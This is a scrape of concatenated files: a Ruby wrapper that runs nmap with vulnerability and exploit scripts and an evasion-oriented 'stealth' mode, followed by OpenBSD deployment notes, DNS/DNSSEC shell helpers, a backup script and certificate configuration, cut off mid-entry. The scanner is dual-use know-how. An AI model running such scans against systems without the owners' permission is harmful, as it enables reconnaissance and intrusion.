# [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: doas found
# Nettverkssikkerhetsskanner
# Mål (IP/vertsnavn): 127.0.0.1
# Advarsel: Full skanning oppdager sårbarheter. Sørg for tillatelse til å skanne 127.0.0.1.
# [DEBUG] Oct 06 18:00:00 nmap[1234]: setup.info: Created temp file: /tmp/nmap_12345.xml
# [DEBUG] Oct 06 18:00:00 nmap[1234]: setup.info: Full scan: SYN, all ports, service/OS, vuln scripts, fast
# [DEBUG] Oct 06 18:00:00 nmap[1234]: setup.info: nmap args: {"output_xml"=>"/tmp/nmap_12345.xml", "targets"=>"127.0.0.1", "syn_scan"=>true, "ports"=>"1-65535", "service_scan"=>true, "os_fingerprint"=>true, "script"=>"vuln,exploit", "timing_template"=>4, "version_intensity"=>9}
# Skanner 127.0.0.1
# [DEBUG] Oct 06 18:00:00 nmap[1234]: scan.info: Starting scan...
# [DEBUG] Oct 06 18:00:10 nmap[1234]: scan.info: Scan done in 10.2 seconds
# [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Parsing XML...
# [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Found 1 host
# [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Host: 127.0.0.1 (up)
# [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Open port: 22/tcp (ssh OpenSSH 8.9)
# [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Open port: 80/tcp (http Apache 2.4)
# [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Checking vulnerabilities...
# [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Vulnerabilities on port 80: http-vuln-cve2017-5638, CVE-2017-5638
# Vert: 127.0.0.1 (Oppe)
# Port: 22/tcp ssh OpenSSH 8.9
# Port: 80/tcp http Apache 2.4
# Sårbarhet: http-vuln-cve2017-5638 CVE-2017-5638
# Skanning fullført på 10.2 sekunder
# [DEBUG] Oct 06 18:00:10 nmap[1234]: cleanup.info: Cleaning up: /tmp/nmap_12345.xml
# [DEBUG] Oct 06 18:00:10 nmap[1234]: cleanup.info: Temp file removed
require "nmap/xml"
require "tempfile"
# Lock script for security (OpenBSD only)
# Why: Restricts access to files and network
if RUBY_PLATFORM.include?("openbsd")
begin
require "pledge"
pledge.promises(:stdio, :rpath, :wpath, :cpath, :proc, :exec, :inet)
require "unveil"
unveil("/tmp", "rwc") # Temp file access
unveil("/usr/local/bin/nmap", "rx") # nmap execution
unveil("/usr/local/bin/doas", "rx") # doas execution
rescue LoadError
end
end
$verbose = ARGV.include?("--verbose")
$lang = ARGV.find { |arg| arg.start_with?("--lang=") }&.split("=")&.last || "english"
$lang = $lang.downcase
$prompt = ARGV.include?("--prompt")
# Log to syslog (OpenBSD) or stdout (Cygwin/Termux)
# Why: Tracks actions for debugging
def log(message, facility = "validate", level = "info")
timestamp = Time.now.strftime("%b %d %H:%M:%S")
hostname = `hostname`.chomp
pid = Process.pid
msg = "#{timestamp} #{hostname} nmap[#{pid}]: #{facility}.#{level}: #{message}"
if RUBY_PLATFORM.include?("openbsd")
system("logger -t nmap \"#{msg}\"")
else
puts "[DEBUG] #{msg}" if $verbose
end
system("termux-toast \"#{msg}\"") if RUBY_PLATFORM.include?("linux") && `uname -o`.chomp == "Android" && $verbose
end
# Translations for English and Norwegian
# Why: Provides clear messages in chosen language
TRANSLATIONS = {
"english" => {
title: "Network security scanner",
prompt_target: "Target (IP/hostname)",
no_target: "Error: No target specified",
invalid_target: "Error: Invalid target format",
severity_title: "Severity levels",
severity_low: "Low: Basic port scan (100 ports, slow)",
severity_medium: "Medium: Service detection (1000 ports)",
severity_high: "High: OS detection, default scripts",
severity_critical: "Critical: Vulnerability/exploit detection",
prompt_severity: "Severity [Low/Medium/High/Critical]",
invalid_severity: "Error: Invalid severity",
attack_title: "Attack types",
attack_normal: "Normal: Standard scan",
attack_stealth: "Stealth: Slow, evades detection",
attack_aggressive: "Aggressive: Fast, maximum information",
prompt_attack: "Attack type [Normal/Stealth/Aggressive]",
invalid_attack: "Error: Invalid attack type",
scanning: ->(target) { "Scanning #{target}" },
scanning_with: ->(target, severity, attack_type) { "Scanning #{target} (Severity: #{severity}, Type: #{attack_type})" },
warning_critical: ->(target) { "Warning: Full scan detects vulnerabilities. Ensure permission to scan #{target}." },
no_hosts: "No hosts found",
host: ->(ip, status) { "Host: #{ip} (#{status})" },
port: ->(number, protocol, service, version) { " Port: #{number}/#{protocol} #{service}#{version}" },
vuln: ->(id, cves) { " Vuln: #{id} #{cves}" },
scan_completed: ->(duration) { "Scan completed in #{duration} seconds" },
no_nmap: "Error: nmap not found. Install it (OpenBSD: doas pkg_add nmap; Cygwin: apt-cyg install nmap; Termux: pkg install nmap)",
nmap_failed: ->(msg) { "Error: nmap failed: #{msg}" },
unexpected_error: ->(msg) { "Error: Unexpected failure: #{msg}" },
debug_validating_target: ->(target) { "Validating target: #{target}" },
debug_nmap_check: "Checking nmap...",
debug_nmap_found: "nmap found",
debug_doas_check: "Checking doas...",
debug_doas_found: "doas found",
debug_doas_missing: "doas not found; full scan may be limited",
debug_temp_file: ->(path) { "Created temp file: #{path}" },
debug_severity_low: "Low severity: SYN scan, top 100 ports, slow",
debug_severity_medium: "Medium severity: SYN scan, service detection, top 1000 ports, fast",
debug_severity_high: "High severity: SYN scan, service/OS detection, default scripts, faster",
debug_severity_critical: "Full scan: SYN, all ports, service/OS, vuln scripts, fast",
debug_attack_normal: "Normal mode: No changes",
debug_attack_stealth: "Stealth mode: Slow, evades detection",
debug_attack_aggressive: "Aggressive mode: OS detection, max detail",
debug_args: ->(args) { "nmap args: #{args}" },
debug_scan_start: "Starting scan...",
debug_scan_duration: ->(duration) { "Scan done in #{duration} seconds" },
debug_parse_xml: "Parsing XML...",
debug_hosts_found: ->(count) { "Found #{count} host" },
debug_host: ->(ip, status) { "Host: #{ip} (#{status})" },
debug_port: ->(number, protocol, service, version) { "Open port: #{number}/#{protocol} (#{service}#{version})" },
debug_vuln_check: "Checking vulnerabilities...",
debug_vuln_found: ->(port, id, cves) { "Vulnerabilities on port #{port}: #{id}, #{cves}" },
debug_cleanup: ->(path) { "Cleaning up: #{path}" },
debug_cleanup_done: "Temp file removed"
},
"norwegian" => {
title: "Nettverkssikkerhetsskanner",
prompt_target: "Mål (IP/vertsnavn)",
no_target: "Feil: Ingen mål spesifisert",
invalid_target: "Feil: Ugyldig målformat",
severity_title: "Alvorlighetsnivåer",
severity_low: "Lav: Enkel portskanning (100 porter, sakte)",
severity_medium: "Middels: Tjenestedeteksjon (1000 porter)",
severity_high: "Høy: OS-deteksjon, standardskripter",
severity_critical: "Kritisk: Sårbarhets-/utnyttelsesdeteksjon",
prompt_severity: "Alvorlighet [Lav/Middels/Høy/Kritisk]",
invalid_severity: "Feil: Ugyldig alvorlighet",
attack_title: "Angrepstyper",
attack_normal: "Normal: Standard skanning",
attack_stealth: "Snik: Sakte, unngår deteksjon",
attack_aggressive: "Aggressiv: Rask, maksimal informasjon",
prompt_attack: "Angrepstype [Normal/Snik/Aggressiv]",
invalid_attack: "Feil: Ugyldig angrepstype",
scanning: ->(target) { "Skanner #{target}" },
scanning_with: ->(target, severity, attack_type) { "Skanner #{target} (Alvorlighet: #{severity}, Type: #{attack_type})" },
warning_critical: ->(target) { "Advarsel: Full skanning oppdager sårbarheter. Sørg for tillatelse til å skanne #{target}." },
no_hosts: "Ingen verter funnet",
host: ->(ip, status) { "Vert: #{ip} (#{status})" },
port: ->(number, protocol, service, version) { " Port: #{number}/#{protocol} #{service}#{version}" },
vuln: ->(id, cves) { " Sårbarhet: #{id} #{cves}" },
scan_completed: ->(duration) { "Skanning fullført på #{duration} sekunder" },
no_nmap: "Feil: nmap ikke funnet. Installer det (OpenBSD: doas pkg_add nmap; Cygwin: apt-cyg install nmap; Termux: pkg install nmap)",
nmap_failed: ->(msg) { "Feil: nmap mislyktes: #{msg}" },
unexpected_error: ->(msg) { "Feil: Uventet feil: #{msg}" },
debug_validating_target: ->(target) { "Validerer mål: #{target}" },
debug_nmap_check: "Sjekker nmap...",
debug_nmap_found: "nmap funnet",
debug_doas_check: "Sjekker doas...",
debug_doas_found: "doas funnet",
debug_doas_missing: "doas ikke funnet; full skanning kan være begrenset",
debug_temp_file: ->(path) { "Created temp file: #{path}" },
debug_severity_low: "Lav alvorlighet: SYN, topp 100 porter, sakte",
debug_severity_medium: "Middels alvorlighet: SYN, tjenestedeteksjon, topp 1000 porter, rask",
debug_severity_high: "Høy alvorlighet: SYN, tjeneste/OS, standardskripter, raskere",
debug_severity_critical: "Full skanning: SYN, alle porter, tjeneste/OS, sårbarhetsskripter, rask",
debug_attack_normal: "Normal modus: Ingen endringer",
debug_attack_stealth: "Snikmodus: Sakte, unngår deteksjon",
debug_attack_aggressive: "Aggressiv modus: OS-deteksjon, maks detalj",
debug_args: ->(args) { "nmap-argumenter: #{args}" },
debug_scan_start: "Starter skanning...",
debug_scan_duration: ->(duration) { "Skanning ferdig på #{duration} sekunder" },
debug_parse_xml: "Parser XML...",
debug_hosts_found: ->(count) { "Fant #{count} vert" },
debug_host: ->(ip, status) { "Vert: #{ip} (#{status})" },
debug_port: ->(number, protocol, service, version) { "Åpen port: #{number}/#{protocol} (#{service}#{version})" },
debug_vuln_check: "Sjekker sårbarheter...",
debug_vuln_found: ->(port, id, cves) { "Sårbarheter på port #{port}: #{id}, #{cves}" },
debug_cleanup: ->(path) { "Rydder opp: #{path}" },
debug_cleanup_done: "Temp fil fjernet"
}
}
# Validate language
# Why: Ensures valid language choice
unless TRANSLATIONS.key?($lang)
log "Invalid language. Use --lang=english or --lang=norwegian", "validate", "error"
abort "Error: Invalid language. Use --lang=english or --lang=norwegian"
end
T = TRANSLATIONS[$lang]
# Prompt for input
# Why: Gets user input like IP address
def prompt(msg)
print "#{msg}: "
gets.chomp
end
# Validate target
# Why: Ensures address is valid
def valid_target?(target)
target =~ /^(?:(?:[0-9]{1,3}\.){3}[0-9]{1,3}|(?:[a-zA-Z0-9-]+\.)*[a-zA-Z0-9-]+)$/
end
# Check dependencies
# Why: Confirms nmap and doas availability
def check_requirements
log T[:debug_nmap_check], "validate", "info"
unless system("which nmap > /dev/null 2>&1")
log T[:no_nmap], "validate", "error"
abort T[:no_nmap]
end
log T[:debug_nmap_found], "validate", "info"
if RUBY_PLATFORM.include?("openbsd")
log T[:debug_doas_check], "validate", "info"
if system("which doas > /dev/null 2>&1")
log T[:debug_doas_found], "validate", "info"
else
log T[:debug_doas_missing], "validate", "warning"
end
end
end
# Perform scan
# Why: Scans for open ports, services, vulnerabilities
def scan(target, severity, attack_type)
log T[:debug_validating_target].call(target), "validate", "info"
unless valid_target?(target)
log T[:invalid_target], "validate", "error"
abort T[:invalid_target]
end
check_requirements
# Setup temp file
xml = Tempfile.new(["nmap", ".xml"])
log T[:debug_temp_file].call(xml.path), "setup", "info"
# Build scan arguments
args = { output_xml: xml.path, targets: target }
if $prompt
case severity
when "low"
log T[:debug_severity_low], "setup", "info"
args.merge!(syn_scan: true, top_ports: 100, timing_template: 2)
when "medium"
log T[:debug_severity_medium], "setup", "info"
args.merge!(syn_scan: true, service_scan: true, top_ports: 1000, timing_template: 3)
when "high"
log T[:debug_severity_high], "setup", "info"
args.merge!(syn_scan: true, service_scan: true, os_fingerprint: true, script: "default", timing_template: 4)
when "critical"
puts T[:warning_critical].call(target)
log T[:debug_severity_critical], "setup", "info"
args.merge!(syn_scan: true, ports: "1-65535", service_scan: true, os_fingerprint: true, script: "vuln,exploit", timing_template: 4)
else
log T[:invalid_severity], "validate", "error"
abort T[:invalid_severity]
end
case attack_type
when "stealth"
log T[:debug_attack_stealth], "setup", "info"
args[:timing_template] = 1
when "aggressive"
log T[:debug_attack_aggressive], "setup", "info"
args.merge!(os_fingerprint: true, version_intensity: 9)
when "normal"
log T[:debug_attack_normal], "setup", "info"
else
log T[:invalid_attack], "validate", "error"
abort T[:invalid_attack]
end
else
puts T[:warning_critical].call(target)
log T[:debug_severity_critical], "setup", "info"
args.merge!(syn_scan: true, ports: "1-65535", service_scan: true, os_fingerprint: true, script: "vuln,exploit", timing_template: 4, version_intensity: 9)
end
log T[:debug_args].call(args.inspect), "setup", "info"
# Run scan
begin
puts $prompt ? T[:scanning_with].call(target, severity.capitalize, attack_type.capitalize) : T[:scanning].call(target)
log T[:debug_scan_start], "scan", "info"
start = Time.now
use_doas = (severity == "high" || severity == "critical" || !$prompt) && RUBY_PLATFORM.include?("openbsd")
if use_doas && system("which doas > /dev/null 2>&1")
log T[:debug_doas_found], "scan", "info"
system("doas nmap #{args.map { |k, v| "--#{k.to_s.gsub('_', '-')}=#{v}" }.join(" ")} >/dev/null 2>&1")
else
log T[:debug_doas_missing], "scan", "warning" if use_doas
system("nmap #{args.map { |k, v| "--#{k.to_s.gsub('_', '-')}=#{v}" }.join(" ")} >/dev/null 2>&1")
end
unless $?.success?
log T[:nmap_failed].call("non-zero exit status"), "scan", "error"
abort T[:nmap_failed].call("non-zero exit status")
end
duration = (Time.now - start).round(1)
log T[:debug_scan_duration].call(duration), "scan", "info"
# Parse results
log T[:debug_parse_xml], "parse", "info"
unless File.exist?(xml.path) && File.size?(xml.path)
log T[:no_results], "parse", "error"
abort T[:no_results]
end
Nmap::XML.open(xml.path) do |x|
log T[:debug_hosts_found].call(x.hosts.size), "parse", "info"
if x.hosts.empty?
puts T[:no_hosts]
return
end
x.each_host do |h|
log T[:debug_host].call(h.ip, h.status), "parse", "info"
puts T[:host].call(h.ip, h.status.capitalize)
h.each_open_port do |p|
svc = p.service.name || (T == TRANSLATIONS["english"] ? "Unknown" : "Ukjent")
ver = p.service.version ? " #{p.service.version}" : ""
log T[:debug_port].call(p.number, p.protocol, svc, ver), "parse", "info"
puts T[:port].call(p.number, p.protocol, svc, ver)
end
if severity == "critical" || !$prompt
log T[:debug_vuln_check], "parse", "info"
h.each_port do |p|
p.scripts.each do |id, s|
cves = s.output.scan(/CVE-\d{4}-\d+/).uniq
if cves.any?
log T[:debug_vuln_found].call(p.number, id, cves.join(", ")), "parse", "info"
puts T[:vuln].call(id, cves.join(" "))
end
end
end
end
end
end
puts T[:scan_completed].call(duration)
# Cleanup
rescue StandardError => e
log T[:unexpected_error].call(e.message), "error", "error"
abort T[:unexpected_error].call(e.message)
ensure
log T[:debug_cleanup].call(xml.path), "cleanup", "info"
xml.unlink if File.exist?(xml.path)
log T[:debug_cleanup_done], "cleanup", "info"
end
end
# Main script
# Why: Gets target and runs scan
if ARGV.include?("--help")
puts <<~HELP
#{T[:title]}
Usage: ruby nmap.rb [--help | --verbose | --lang=english|norwegian | --prompt]
Options:
--help #{T == TRANSLATIONS["english"] ? "Show this help" : "Vis denne hjelpen"}
--verbose #{T == TRANSLATIONS["english"] ? "Enable debug output" : "Aktiver feilsøkingsutdata"}
--lang=english|norwegian #{T == TRANSLATIONS["english"] ? "Set language" : "Sett språk"}
--prompt #{T == TRANSLATIONS["english"] ? "Prompt for severity and attack type" : "Spør om alvorlighet og angrepstype"}
Prompts (with --prompt):
#{T[:prompt_target]}: #{T == TRANSLATIONS["english"] ? "e.g., 127.0.0.1 or scanme.nmap.org" : "f.eks., 127.0.0.1 eller scanme.nmap.org"}
#{T[:prompt_severity]}
#{T[:prompt_attack]}
Default: Full scan (all ports, service/OS detection, vulnerabilities, aggressive)
Requirements:
- nmap (OpenBSD: doas pkg_add nmap; Cygwin: apt-cyg install nmap; Termux: pkg install nmap)
- ruby-nmap gem (gem install ruby-nmap)
#{T == TRANSLATIONS["english"] ? "Note: Ensure permission to scan target." : "Merknad: Sørg for tillatelse til å skanne målet."}
HELP
exit
end
puts T[:title]
target = prompt(T[:prompt_target])
if target.empty?
log T[:no_target], "validate", "error"
abort T[:no_target]
end
# Optional prompts
if $prompt
puts T[:severity_title]
puts " #{T[:severity_low]}"
puts " #{T[:severity_medium]}"
puts " #{T[:severity_high]}"
puts " #{T[:severity_critical]}"
severity = prompt(T[:prompt_severity]).downcase
severity = "medium" if severity.empty?
unless %w[low medium high critical].include?(severity)
log T[:invalid_severity], "validate", "error"
abort T[:invalid_severity]
end
puts T[:attack_title]
puts " #{T[:attack_normal]}"
puts " #{T[:attack_stealth]}"
puts " #{T[:attack_aggressive]}"
attack_type = prompt(T[:prompt_attack]).downcase
attack_type = "normal" if attack_type.empty?
unless %w[normal stealth aggressive].include?(attack_type)
log T[:invalid_attack], "validate", "error"
abort T[:invalid_attack]
end
else
severity = "critical"
attack_type = "aggressive"
end
# Run scan
scan(target, severity, attack_type)# OpenBSD Deploy
Full VPS stack deploy for OpenBSD 7.8 at `46.23.89.226`.
## Run
```zsh
cd ~/pub4/DEPLOY/openbsd
tmux new-session -d -s deploy "doas zsh openbsd.sh 2>&1 | tee /tmp/deploy.log"
tmux attach -t deployResume after interruption:
doas zsh openbsd.sh --resume- validates OpenBSD interface and disk space
- installs base deploy packages
- configures minimal PF for bootstrap
- configures NSD authoritative DNS
- signs zones with DNSSEC
- configures httpd for ACME challenges
- requests certificates with
acme-client - writes TLSA records
- installs certificate-renewal cron
- installs Rails app trees from
DEPLOY/rails/* - configures app rc.d services
- configures relayd TLS termination
- configures httpd static/ACME serving
- configures smtpd
- loads final PF rules
- verifies service health
- terminal packages: zsh fish neovim tmux fontconfig fzf ripgrep fd
- enriched /home/dev/.zshrc (Starship if present, nvim editor, quality aliases, brgen helper)
- enables the rich local dev experience (Nerd Fonts, modern prompt, Neovim) on the VPS itself for tmux sessions and non-CLI work
- Public ingress should be limited to SSH, SMTP, HTTP, and HTTPS.
- Raw Rails/Falcon/internal ports should stay behind relayd or loopback bindings.
- PostgreSQL and Redis are not part of this deploy path unless explicitly reintroduced.
- Secrets must come from environment, local root-owned files, or operator input, never committed docs.
- Certificate renewal must be idempotent and must not append duplicate TLSA records.
After deploy:
doas rcctl check master
doas pfctl -s rules
curl -sk https://ai.brgen.no/chat/metricsInspect logs:
doas tail -f /var/log/openbsd_setup.log
doas tail -f /var/log/openbsd_transactions.log
doas tail -f /var/log/cert-renewal.logDEPLOY/ is high-risk infrastructure code. Run it through MASTER with deploy policy enabled before changing live systems:
bundle exec ruby exe/master /scan DEPLOY
bundle exec ruby exe/master /sweep DEPLOYReject any change that:
- opens raw app ports publicly
- makes destructive filesystem changes without backup
- weakens PF, relayd, httpd, smtpd, or NSD validation
- stores credentials in repository files
- removes idempotence from cron, DNS, TLS, or rc.d setup
## `openbsd/_net.sh`
```bash
#!/usr/bin/env zsh
set -euo pipefail
# DNS, NSD, DNSSEC, and cert utilities.
validate_ip() {
typeset ip=$1
[[ $ip =~ '^([0-9]{1,3}\.){3}[0-9]{1,3}$' ]] || return 1
typeset -a octets; octets=(${(s:.:)ip})
for octet in $octets; do (( octet > 255 )) && return 1; done
return 0
}
generate_random_port() {
typeset port
while :; do
port=$((RANDOM % 50000 + 10000))
typeset _out; _out=$(/usr/bin/netstat -an)
[[ $_out != *".$port "* ]] && echo $port && break
done
}
cleanup_nsd() {
log INFO "Cleaning nsd(8)"
[[ -d /var/nsd ]] || { log ERROR "/var/nsd missing"; exit 1 }
/usr/bin/timeout 5 /usr/sbin/rcctl stop nsd || log WARN "/usr/sbin/rcctl stop nsd failed"
/usr/bin/timeout 5 zap -f nsd || log WARN "zap -f nsd failed"
sleep 2
typeset _out; _out=$(/usr/bin/netstat -an -p udp)
[[ $_out == *"$BRGEN_IP.53"* ]] && { log ERROR "Port 53 in use"; exit 1 }
log INFO "Port 53 free"
}
verify_nsd() {
log INFO "Verifying nsd(8) for all domains"
for domain in ${ALL_DOMAINS[*]%%:*}; do
typeset dig_a=${$(/usr/bin/dig @"$BRGEN_IP" "$domain" A +short):-}
[[ -z $dig_a || $dig_a != $BRGEN_IP ]] && {
log WARN "nsd(8) A record missing or wrong for $domain (got: ${dig_a:-empty})"
continue
}
typeset dig_dnskey=${$(/usr/bin/dig @"$BRGEN_IP" "$domain" DNSKEY +short):-}
[[ -z $dig_dnskey ]] && { log WARN "DNSSEC not enabled for $domain"; continue }
done
log INFO "nsd(8) verification complete"
}
check_dns_propagation() {
log INFO "Checking DNS propagation"
for resolver in $PUBLIC_RESOLVERS; do
typeset _soa; _soa=$(/usr/bin/dig @$resolver brgen.no SOA +short)
[[ $_soa == *"ns.brgen.no."* ]] && { log INFO "DNS propagation verified via $resolver"; return 0 }
done
log ERROR "DNS propagation incomplete. Check glue records."
exit 1
}
generate_tlsa_record() {
typeset domain=$1
typeset cert=/etc/ssl/$domain.fullchain.pem
typeset zonefile=/var/nsd/zones/master/$domain.zone
[[ ! -f $cert ]] && { log WARN "Certificate for $domain not found"; return 1 }
typeset _raw; _raw=$(openssl x509 -noout -pubkey -in "$cert" | openssl pkey -pubin -outform der 2>/dev/null | openssl dgst -sha256 2>/dev/null)
typeset tlsa_record=${${(z)_raw}[2]:-}
(( ! $#tlsa_record )) && { log ERROR "TLSA generation failed for $domain"; exit 1 }
print -r -- "_443._tcp.$domain. IN TLSA 3 1 1 $tlsa_record" >> "$zonefile"
sign_zone "$domain"
log INFO "TLSA updated for $domain"
}
sign_zone() {
typeset domain=$1
typeset zonefile=/var/nsd/zones/master/$domain.zone
typeset signed_zonefile=/var/nsd/zones/master/$domain.zone.signed
typeset zsk=/var/nsd/zones/master/K$domain.+013+zsk.key
typeset ksk=/var/nsd/zones/master/K$domain.+013+ksk.key
[[ -f $zsk && -f $ksk ]] || { log ERROR "ZSK or KSK missing for $domain"; exit 1 }
ldns-signzone -n -p -s $(dd if=/dev/random bs=16 count=1 2>/dev/null | sha1 -q) "$zonefile" "$zsk" "$ksk"
nsd-checkzone "$domain" "$signed_zonefile" || { log ERROR "Signed zone invalid for $domain"; exit 1 }
nsd-control reload
}
retry_failed_certs() {
log INFO "Retrying failed certificates"
for domain in ${(k)FAILED_CERTS}; do
typeset dns_check=${$(/usr/bin/dig @"$BRGEN_IP" "$domain" A +short):-}
[[ $dns_check != $BRGEN_IP ]] && { log WARN "DNS for $domain failed"; continue }
print -r -- "retry_$domain" > "/var/www/acme/retry_$domain"
typeset http_status=${$(curl -s -o /dev/null -w "%{http_code}" -H "Host: $domain" "http://$BRGEN_IP/.well-known/acme-challenge/retry_$domain"):-000}
rm -f "/var/www/acme/retry_$domain"
[[ $http_status != 200 ]] && { log WARN "HTTP test for $domain failed"; continue }
if acme-client -v -f /etc/acme-client.conf "$domain"; then
unset FAILED_CERTS[$domain]
generate_tlsa_record "$domain"
else
log WARN "Retry failed for $domain"
fi
done
}
#!/usr/bin/env zsh
# Backs up ~/priv/ to OpenBSD Amsterdam wingman1 backup server.
# Run on VPS as dev@46.23.89.226.
# Backup host: s4vm23@wingman1.openbsd.amsterdam (same SSH key, auto-provisioned)
set -euo pipefail
typeset backup_host="s4vm23@wingman1.openbsd.amsterdam"
typeset stamp=$(date +%Y%m%d_%H%M%S)
typeset enc_file="/tmp/priv_${stamp}.tar.enc"
[[ -d ~/priv ]] || { print "~/priv does not exist"; exit 1 }
# Create encrypted archive using LibreSSL (OpenBSD openssl).
# -pbkdf2 uses PBKDF2 key derivation — required on LibreSSL 3.x.
# Passphrase entered interactively; never passed as argument.
print "Encrypting ~/priv/ …"
tar -czf - -C ~ priv | openssl enc -aes-256-cbc -pbkdf2 -out "$enc_file"
print "Uploading to $backup_host …"
openrsync -ae ssh "$enc_file" "${backup_host}:backup/"
# Verify upload
typeset remote_size
remote_size=$(ssh "$backup_host" "wc -c < backup/$(basename $enc_file)")
typeset local_size
local_size=$(wc -c < "$enc_file")
[[ $remote_size -eq $local_size ]] || { print "Size mismatch — verify manually"; exit 1 }
rm -f "$enc_file"
print "Done. priv_${stamp}.tar.enc on wingman1 (${local_size} bytes)."
print "Decrypt: openssl enc -d -aes-256-cbc -pbkdf2 -in priv_DATE.tar.enc | tar -xzf -"# acme-client(1) per acme-client.conf(5)
authority letsencrypt {
api url "https://acme-v02.api.letsencrypt.org/directory"
account key "/etc/acme/letsencrypt_privkey.pem"
}
domain "brgen.no" {
alternative names { "brgen.no" "markedsplass.brgen.no" "playlist.brgen.no" "dating.brgen.no" "tv.brgen.no" "takeaway.brgen.no" "maps.brgen.no" "ai.brgen.no" "hjerterom.brgen.no" }
domain key "/etc/ssl/private/brgen.no.key"
domain full chain certificate "/etc/ssl/brgen.no.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "longyearbyn.no" {
alternative names { "longyearbyn.no" "markedsplass.longyearbyn.no" "playlist.longyearbyn.no" "dating.longyearbyn.no" "tv.longyearbyn.no" "takeaway.longyearbyn.no" "maps.longyearbyn.no" }
domain key "/etc/ssl/private/longyearbyn.no.key"
domain full chain certificate "/etc/ssl/longyearbyn.no.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "oshlo.no" {
alternative names { "oshlo.no" "markedsplass.oshlo.no" "playlist.oshlo.no" "dating.oshlo.no" "tv.oshlo.no" "takeaway.oshlo.no" "maps.oshlo.no" }
domain key "/etc/ssl/private/oshlo.no.key"
domain full chain certificate "/etc/ssl/oshlo.no.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "stvanger.no" {
alternative names { "stvanger.no" "markedsplass.stvanger.no" "playlist.stvanger.no" "dating.stvanger.no" "tv.stvanger.no" "takeaway.stvanger.no" "maps.stvanger.no" }
domain key "/etc/ssl/private/stvanger.no.key"
domain full chain certificate "/etc/ssl/stvanger.no.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "trmso.no" {
alternative names { "trmso.no" "markedsplass.trmso.no" "playlist.trmso.no" "dating.trmso.no" "tv.trmso.no" "takeaway.trmso.no" "maps.trmso.no" }
domain key "/etc/ssl/private/trmso.no.key"
domain full chain certificate "/etc/ssl/trmso.no.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "trndheim.no" {
alternative names { "trndheim.no" "markedsplass.trndheim.no" "playlist.trndheim.no" "dating.trndheim.no" "tv.trndheim.no" "takeaway.trndheim.no" "maps.trndheim.no" }
domain key "/etc/ssl/private/trndheim.no.key"
domain full chain certificate "/etc/ssl/trndheim.no.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "reykjavk.is" {
alternative names { "reykjavk.is" "markadur.reykjavk.is" "playlist.reykjavk.is" "dating.reykjavk.is" "tv.reykjavk.is" "takeaway.reykjavk.is" "maps.reykjavk.is" }
domain key "/etc/ssl/private/reykjavk.is.key"
domain full chain certificate "/etc/ssl/reykjavk.is.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "kbenhvn.dk" {
alternative names { "kbenhvn.dk" "markedsplads.kbenhvn.dk" "playlist.kbenhvn.dk" "dating.kbenhvn.dk" "tv.kbenhvn.dk" "takeaway.kbenhvn.dk" "maps.kbenhvn.dk" }
domain key "/etc/ssl/private/kbenhvn.dk.key"
domain full chain certificate "/etc/ssl/kbenhvn.dk.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "gtebrg.se" {
alternative names { "gtebrg.se" "marknadsplats.gtebrg.se" "playlist.gtebrg.se" "dating.gtebrg.se" "tv.gtebrg.se" "takeaway.gtebrg.se" "maps.gtebrg.se" }
domain key "/etc/ssl/private/gtebrg.se.key"
domain full chain certificate "/etc/ssl/gtebrg.se.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "mlmoe.se" {
alternative names { "mlmoe.se" "marknadsplats.mlmoe.se" "playlist.mlmoe.se" "dating.mlmoe.se" "tv.mlmoe.se" "takeaway.mlmoe.se" "maps.mlmoe.se" }
domain key "/etc/ssl/private/mlmoe.se.key"
domain full chain certificate "/etc/ssl/mlmoe.se.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "stholm.se" {
alternative names { "stholm.se" "marknadsplats.stholm.se" "playlist.stholm.se" "dating.stholm.se" "tv.stholm.se" "takeaway.stholm.se" "maps.stholm.se" }
domain key "/etc/ssl/private/stholm.se.key"
domain full chain certificate "/etc/ssl/stholm.se.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "hlsinki.fi" {
alternative names { "hlsinki.fi" "markkinapaikka.hlsinki.fi" "playlist.hlsinki.fi" "dating.hlsinki.fi" "tv.hlsinki.fi" "takeaway.hlsinki.fi" "maps.hlsinki.fi" }
domain key "/etc/ssl/private/hlsinki.fi.key"
domain full chain certificate "/etc/ssl/hlsinki.fi.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "brmingham.uk" {
alternative names { "brmingham.uk" "marketplace.brmingham.uk" "playlist.brmingham.uk" "dating.brmingham.uk" "tv.brmingham.uk" "takeaway.brmingham.uk" "maps.brmingham.uk" }
domain key "/etc/ssl/private/brmingham.uk.key"
domain full chain certificate "/etc/ssl/brmingham.uk.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "cardff.uk" {
alternative names { "cardff.uk" "marketplace.cardff.uk" "playlist.cardff.uk" "dating.cardff.uk" "tv.cardff.uk" "takeaway.cardff.uk" "maps.cardff.uk" }
domain key "/etc/ssl/private/cardff.uk.key"
domain full chain certificate "/etc/ssl/cardff.uk.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "edinbrgh.uk" {
alternative names { "edinbrgh.uk" "marketplace.edinbrgh.uk" "playlist.edinbrgh.uk" "dating.edinbrgh.uk" "tv.edinbrgh.uk" "takeaway.edinbrgh.uk" "maps.edinbrgh.uk" }
domain key "/etc/ssl/private/edinbrgh.uk.key"
domain full chain certificate "/etc/ssl/edinbrgh.uk.fullchain.pem"
sign with letsencrypt
challengedir "/var/www/acme"
}
domain "glasgw.uk" {
